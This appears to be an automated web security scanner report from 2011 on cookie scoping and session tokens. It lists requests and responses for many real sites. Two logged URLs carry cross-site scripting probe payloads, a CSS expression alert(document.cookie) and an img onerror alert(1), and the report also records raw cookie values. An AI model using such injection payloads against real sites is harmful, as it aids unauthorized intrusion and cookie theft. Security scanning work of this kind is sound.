HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:08:10 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Set-Cookie: SESS2e53cd66881dc1b0eb8079878b7a4286=7h750c8v714umuj2jedt5gf3l1; expires=Fri, 11 Feb 2011 18:41:30 GMT; path=/; domain=.childrenslawcenter.org Last-Modified: Wed, 19 Jan 2011 15:05:50 GMT ETag: "617a2f897d287fe1b6cb50ae2b1a53e6" Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: must-revalidate Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29782
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr"> <head> <meta ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.directstartv.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dc HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:41 GMT;path=/ Set-Cookie: CFTOKEN=35971701;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:41 GMT;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A41%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A40%27%7D%23hitcount%3D3%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:08:41 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/gpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/lgpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/mit-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /in-ring-trials-washington-lawyer-robert-s-bennett-hardcover/wapi/107129050/x26amp HTTP/1.1 Host: www.tower.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ShowUserReviews-g28970-d564552-m10805-r17552300-National_Law_Enforcement_Officers_Memorial-Washington_DC_District_of_Columbia.html/x26amp HTTP/1.1 Host: www.tripadvisor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>301 Moved Permanently</TITLE> <!--web07a.tripadvisor.com--><!--PRODUCTION--><!--PRODUCTION--> </HEAD><BODY> <H1>Found</H1> The do ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
id=c653243310000d9|1323822/1044251/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click;h=v8/3a94/7/9c/*/r;234088911;0-0;0;57791248;3454-728/90;39877168/39894955/1;;~sscs=?http:/ads.specificmedia.com/click/v=5;m=2;l=6068;c=124305;b=741958;p=ui=uosDj9Liw_xRTA;tr=_cDzYUJFCKD;tm=0-0;ts=20110119125442;dct=http:/www.nutrisystem.com/jsps_hmr/tracking/click.jsp?iid=29572&rURL=/webnoweeksoffernetworks HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://ads.specificmedia.com/click/v=5;m=2;l=6068;c=124305;b=741958;p=ui=uosDj9Liw_xRTA;tr=_cDzYUJFCKD;tm=0-0;ts=20110119125442;dct=http:/www.nutrisystem.com/jsps_hmr/tracking/click.jsp?iid=29572&rURL=/webnoweeksoffernetworks Set-Cookie: id=c653243310000d9|1323822/1044251/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 19 Jan 2011 18:04:37 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
id=c653243310000d9|1261211/855565/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clk;233547068;57362403;h;pc=[TPAS_ID]?http://www.meebo.com/blank.html HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://www.meebo.com/blank.html Set-Cookie: id=c653243310000d9|1261211/855565/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 19 Jan 2011 18:04:43 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
id=c653243310000d9|1837672/538032/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jump/N4789.Vault/B4885532;sz=300x250;ord=998343728? HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://www.vzwcampus.com/default.aspx?ss=paid Set-Cookie: id=c653243310000d9|1837672/538032/14993|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 19 Jan 2011 18:04:16 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /aclk HTTP/1.1 Host: adclick.g.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adserver/behavioral-data/8201?d=1122 HTTP/1.1 Host: ads.adbrite.com Proxy-Connection: keep-alive Referer: http://loadus.exelator.com/load/net.php?n=PGltZyBzcmM9Imh0dHA6Ly9hZHMuYWRicml0ZS5jb20vYWRzZXJ2ZXIvYmVoYXZpb3JhbC1kYXRhLzgyMDE%2FZD0xMTIyIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBib3JkZXI9IjAiPjwvaW1nPg%3D%3D&h=886e9052c55ee4799931e98b9fed75bb Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=168362173x0.688+1294536261x899753879; cv=1%3Aq1ZyLi0uyc91zUtWslIySyktr0nPLLDMMi8zrjGwMswuNjMusjK0MlCqBQA%3D; ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z1fSUUpKzMtLLcoEK1CqrQUA; rb="0:712156:20822400:6ch47d7o8wtv:0:742697:20828160:3011330574290390485:0:753292:20858400:CA-00000000456885722:0"
Response
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Date: Wed, 19 Jan 2011 17:54:39 GMT Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC" Server: Apache-Coyote/1.1 Set-Cookie: ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z9dJzsiwSC80SEmtMcxJqswyqTGsMVDSUUpKzMtLLcoE61KqrQUA; Domain=.adbrite.com; Expires=Sat, 16-Jan-2021 17:54:40 GMT; Path=/ Set-Cookie: vsd="0@1@4d372560@loadus.exelator.com"; Version=1; Domain=.adbrite.com; Max-Age=172800; Path=/ Set-Cookie: srh=1%3Aq64FAA%3D%3D; Domain=.adbrite.com; Expires=Thu, 20-Jan-2011 17:54:40 GMT; Path=/ Content-Length: 42
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adserver/ako?activate&csid=K08784 HTTP/1.1 Host: ads.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==; udm_0=MLv3NVPpKSpj3p3uht7FyYbjN10zcmhKlYGgrukmLuVU97bs7miUcEYhUoOEQoW6hq+QzluB96P8Tutq8Gx/9mt2RRtWTTDFMPnlXOlgYExrUWbzd6XsS3YDB9n8sEO7rJWMBAqM62rPEc1V/be727XdvCMrTAr9wCWxHSaoTomecJyXQpHihffMuEVRzw8h3OxDNuVJgjD7Ih9Ly8ngvXt2rt4SmNQxGHu6UbQFB9GchtzgDx3nIlBpeezAjFRoVM/vHBxUmvtH+1bbl1Fl4ZdnrmM5b1W59yZWpmuOnSSf2k8PLj3aIydPWaqBjSCH4kLnkkd3V9G4pc1/iB+wt5HJPWxDEtpBQKliPLyOJqSHo3GZg11SnpmwXl2EB62oOwnJfXRIG68qmghWJ1ubkNZO3R4IUrINcOdCEzftiZjz6BFLEjMtt/bWMBlAXwgUgztsoo2ReD/q2/z4a41kA0Ypr8hKYa5H4msA1vfs8KMUJI39rh63+qDIG2f7MA7byhF9bF8U8P3xPeIB9DYWg6UQ/TE2BPMUNqktnd2vc2dilAmnnt9dcZ38/Q0Cyzd7bFlqzPGdqxg5MzrB4+r6J8c5Q0sZ/FB9HiflUF+cbGnLI6nnK2Uc9cyirS/6Md3KUSQ9eMlES7QuYhvG9NQMPPFPEgeFZVaJzY2Z3FyVapNr93Ni+GtlNI57fSPs+pJWw/lFgUYqf4s9/eIB9m3CKZDLWKxdGYeWDmGFQAfUIDoKUvXwnyf9wrwJoT/ZmJjMt9jNm1+QrjX0vap9RkKG/ygD/eKI9TYoaK5Y/J79Ulj12hC7mVVyE3wjhR0e9GaRiyqRhbuEG3Z2Ib5J8zbDEd4LC6/1dthK3LavDLQy0A5z3p/krZoaCL1QKiV9JDBOBn4j8npeNRYQzTnQhiiv9rOapvQUNE/nUhaxuRqyT9YwXp0DiJuezLHxHOAtqsBAvJ7lll2Zm7ClWHDEew07dWhx+WXkK3XEm1YAxR/7f9yvpGkXfWY1x6RuGiP7tA==
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: rsi_us_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver Set-Cookie: rsi_us_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_us_1000000=pUMd5U+DfxIU7WxyXcrXePyshmL9qnycX9zb1nGBmx1V/jUVnfeldtQjUT/l9QEvuRA3QBA8Si99k9w0tzkcnzco6PEsDBDvy8d4mY8+5HZS0vDThyEYovFg0RSTcWdd5u8ZLvCmIrL4UCfpY/4L/CqrSvJCILJ1d3GZZY8xL4FE3tHR+wk8QhtzsK6CjvVfUfYAsMiJxD1Swa5MdzflySt7JaSZIPI/xOXJjGiHDa1pifHkTxTBnRG6xH+UvNOxNNGcpRK5dfBfHXqwMYaiwTTegzvXkn1AHqNkQ8GkIGXd6lFLTY6Gsow41j4IEHXPdjt/Aq5n38nCwuLkhd+RMWvpb2lwq3vhoK0qH0OLD7WDgyUcDTSgHXFgoIaTzuq4W5bHAKuZHGGL3ZP9iClrM49hCWtsijtqCZRKvMFL0WrYdeEiqLuuWhu7p8ZRZKB2xdDB75ykboN/YRnA/OXtQFdb1ljzYHwQf/Q654LJFtsdK/b1MVhjUsekLkRDh0Ura+RaQgZymGRxqHGTwV0mI8kKlYPDFQOSN4atuJ9QrAqeeSSuv23axRMTzUFDLLJvqqGCDlX9oefOvqBTtt0F/hfRzJVeonQsKJYCQDJW3kEjiqME80GbU8dSiTksQQidz0JUIJbUhbxtFTJLhyWPkvRyWkmAhjCQC0UFmEKxzWXIwnrd3/pwp2eYvBfMZ3AgrrFVBlzZmhWlG7A5zmSVP0xb82DkIwXjDDr9yYHSnRGMyBi7n2+eSxz7bXFEdPlpY6yVxmaHdtYsUjF2/hTslkfyXMX1/xCVazRLA6r0KZnIe/FyS2WsBMwCEeoeD5FejhI=; Domain=.revsci.net; Expires=Sun, 11-Jan-2043 17:54:40 GMT; Path=/ Content-Type: application/x-javascript;charset=ISO-8859-1 Vary: Accept-Encoding Date: Wed, 19 Jan 2011 17:54:39 GMT Content-Length: 822
function rsi_img(p,u,c){if(u.indexOf(location.protocol)==0){var i=new Image(2,3);if(c){i.onload=c;} i.src=u;p[p.length]=i;}} function rsi_simg(p,s,i){if(i<s.length){rsi_img(p,s[i],function(){rsi_sim ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click/v=5;m=2;l=6068;c=124305;b=741958;p=ui=uosDj9Liw_xRTA;tr=_cDzYUJFCKD;tm=0-0;ts=20110119125442;dct= HTTP/1.1 Host: ads.specificmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: smu=4035.928757113086138685;
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:05:25 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=5041.928757113086138685; domain=.specificmedia.com; path=/; expires=Thu, 24-Dec-2015 18:05:25 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Content-Length: 1 Expires: Tue, 18 Jan 2011 18:05:25 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: text/plain
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /serve/v=5;m=2;l=6068;cxt=;kw=;ts=925946;smuid=uosDj9Liw_xRTA;p=ui%3DuosDj9Liw_xRTA%3Btr%3D_cDzYUJFCKD%3Btm%3D0-0 HTTP/1.1 Host: ads.specificmedia.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smu=5031.928757113086138685
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 17:54:42 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=4035.928757113086138685; domain=.specificmedia.com; path=/; expires=Thu, 24-Dec-2015 17:54:42 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Content-Length: 302 Expires: Tue, 18 Jan 2011 17:54:42 GMT Cache-Control: no-cache,must-revalidate Pragma: no-cache Connection: close Content-Type: application/x-javascript
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /select/Login HTTP/1.1 Host: adwords.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?l=6068&sz=728x90&wr=j&t=j&u=&r=&rnd=786189 HTTP/1.1 Host: afe.specificclick.net Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: adp=74ry^2^7; smdmp=75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; adf=74ry^0^0; ug=uosDj9Liw_xRTA
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store,no-cache,must-revalidate Cache-Control: post-check=0,pre-check=0 Pragma: no-cache p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: adp=77DH^0^31; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ Set-Cookie: ug=uosDj9Liw_xRTA; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ Set-Cookie: smdmp=75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ Set-Cookie: adf=77DH^0^0; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: ug=uosDj9Liw_xRTA; Domain=.specificclick.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: nug=; Domain=.specificclick.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Content-Type: text/html Date: Wed, 19 Jan 2011 17:54:40 GMT Vary: Accept-Encoding Connection: Keep-Alive Content-Length: 244
var sm_random=Math.ceil(1000000*Math.random());document.write("<SCRI"+"PT src='http://ads.specificmedia.com/serve/v=5;m=2;l=6068;cxt=;kw=;ts="+sm_random+";smuid=uosDj9Liw_xRTA;p=ui%3DuosDj9Liw_xRTA%3B ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: att.my.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 16:57:32 GMT Set-Cookie: B=ed2umi56je5vs&b=3&s=1r; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: /?_bc=1 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: private Content-Length: 81
<!-- p386.my.re1.yahoo.com uncompressed/chunked Wed Jan 19 08:57:32 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b?c1=2&c2=6035991&rn=57307763&c7=http%3A%2F%2Fwww.yellowpages.com%2FWashington-DC74302%253Cimg%2520src%253da%2520onerror%253dalert(1)%253E9c7a66be0e0%2FAttorneys&c8=No%20Location%20Found%20-%20YP.com&c9=http%3A%2F%2Fburp%2Fshow%2F1&cv=2.2&cs=js HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.yellowpages.com/Washington-DC74302%3Cimg%20src%3da%20onerror%3dalert(1)%3E9c7a66be0e0/Attorneys Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 204 No Content Content-Length: 0 Date: Wed, 19 Jan 2011 15:26:51 GMT Connection: close Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Fri, 18-Jan-2013 15:26:51 GMT; path=/; domain=.scorecardresearch.com P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC" Expires: Mon, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate Server: CS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /books HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:20:45 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=6fd5bdb8c0f15bdb:TM=1295450445:LM=1295450445:S=3txz1grSHdfgEtyb; expires=Fri, 18-Jan-2013 15:20:45 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search HTTP/1.1 Host: br.search.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:05:55 GMT Set-Cookie: B=9sb75f16jea03&b=3&s=s3; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: sSN=bKqD4Yg2wWEl7nquCppHANWNh4aYiHZyF56IWRcBmJSYwvtVOl5hwVXTSG7fjBf_kbLWJnDjs0F1gnQT_t7Bag--; path=/; domain=.search.yahoo.com Location: http://br.search.yahoo.com/web?fr= Cache-Control: private Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89
<!-- fe06.gsp.search.ac2.yahoo.com uncompressed/chunked Wed Jan 19 10:05:55 PST 2011 -->
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /go/284152846/direct;ai.196212142;ct.$num$/01/ HTTP/1.1 Host: REDACTED.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
